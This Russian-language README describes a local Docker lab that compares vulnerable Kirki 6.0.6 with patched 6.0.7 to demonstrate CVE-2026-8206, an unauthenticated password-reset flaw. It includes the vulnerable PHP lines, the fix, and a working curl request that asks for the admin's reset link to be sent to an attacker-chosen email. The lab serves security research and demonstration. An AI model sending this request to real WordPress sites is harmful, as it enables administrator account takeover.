
Локальная Docker-лаборатория для демонстрации CVE-2026-8206 в WordPress-плагине Kirki.
Этот репозиторий сравнивает реальные релизы плагина Kirki:
vuln: Kirki 6.0.6patched: Kirki 6.0.7Лаборатория работает только локально и привязывает сервисы WordPress к 127.0.0.1.
PoC наносит минимальный вред: он запрашивает сброс пароля и проверяет получателя перехваченного письма внутри лаборатории. Он не изменяет ни один пароль.
CVE-2026-8206 — это уязвимость неаутентифицированного захвата учётной записи / повышения привилегий в версиях Kirki с 6.0.0 по 6.0.6.
Уязвимый обработчик сброса пароля создаёт ключ сброса для реального пользователя WordPress, выбранного по username, но отправляет письмо для сброса на произвольный адрес электронной почты, указанный в запросе.
В этой лаборатории:
vulnerable => ссылка сброса для admin отправляется на [email protected]
patched => несовпадающий email отклоняется, письмо для сброса на [email protected] не отправляется
6.0.0 по 6.0.66.0.7/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
Уязвимый обработчик находится в:
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
Kirki читает email, предоставленный атакующим, из тела запроса:
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
Затем он находит целевого пользователя WordPress по username и создаёт для этого пользователя ключ сброса пароля:
$key = get_password_reset_key( $user );
Но итоговое письмо для сброса отправляется на $email из запроса:
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
Это разрушает границу доверия между идентификатором учётной записи и получателем письма для сброса пароля. Неаутентифицированный запрашивающий может указать:
username=admin
[email protected]
Ключ сброса принадлежит admin, но письмо доставляется на адрес, контролируемый атакующим.
Kirki 6.0.7 проверяет, что указанный email совпадает с зарегистрированным email найденного пользователя, а затем перед отправкой принудительно устанавливает получателем email учётной записи:
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// reject request
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
Локальная почта перехватывается в файлы, а не отправляется наружу:
artifacts/vuln-mail/
artifacts/patched-mail/
В лаборатории используются реальные версии плагина Kirki, установленные с помощью WP-CLI. Исходный код плагина не модифицируется.
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
requestsПри необходимости установите зависимость Python:
python3 -m pip install requests
Запустите контейнеры:
docker compose up -d --build
Инициализируйте оба экземпляра WordPress:
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
Запустите PoC:
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
Ожидаемый результат:
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: ссылка сброса отправлена на email, контролируемый атакующим
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: [email protected]
Subject: CVE-2026-8206 local lab proof
Это доказывает, что уязвимая версия отправила письмо для сброса пароля целевой учётной записи на адрес, контролируемый атакующим.
Ожидаемый результат:
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: нет перехваченного письма для сброса пароля
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
Это доказывает, что исправленная версия отклоняет несоответствие username/email и не отправляет письмо для сброса пароля на адрес, контролируемый атакующим.
Создайте корректный nonce элемента Kirki внутри уязвимой лаборатории:
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
Отправьте локальный запрос к уязвимому сервису:
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "[email protected]" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
Проверьте перехваченную почту:
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
Ожидаемые доказательства уязвимости:
To: [email protected]
... action=rp ... login=admin ...
Эта лаборатория предназначена только для локальных исследований в области безопасности и демонстрации в портфолио.
Ограничения:
127.0.0.1.docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail
| Сервис | Назначение | URL хоста |
|---|
vuln | WordPress + Kirki 6.0.6 | http://127.0.0.1:8081 |
patched | WordPress + Kirki 6.0.7 | http://127.0.0.1:8082 |
db_vuln | MySQL для уязвимого WordPress | только сеть Docker |
db_patched | MySQL для исправленного WordPress | только сеть Docker |
wpcli_vuln | Инициализирует уязвимый WordPress | одноразовая настройка |
wpcli_patched | Инициализирует исправленный WordPress | одноразовая настройка |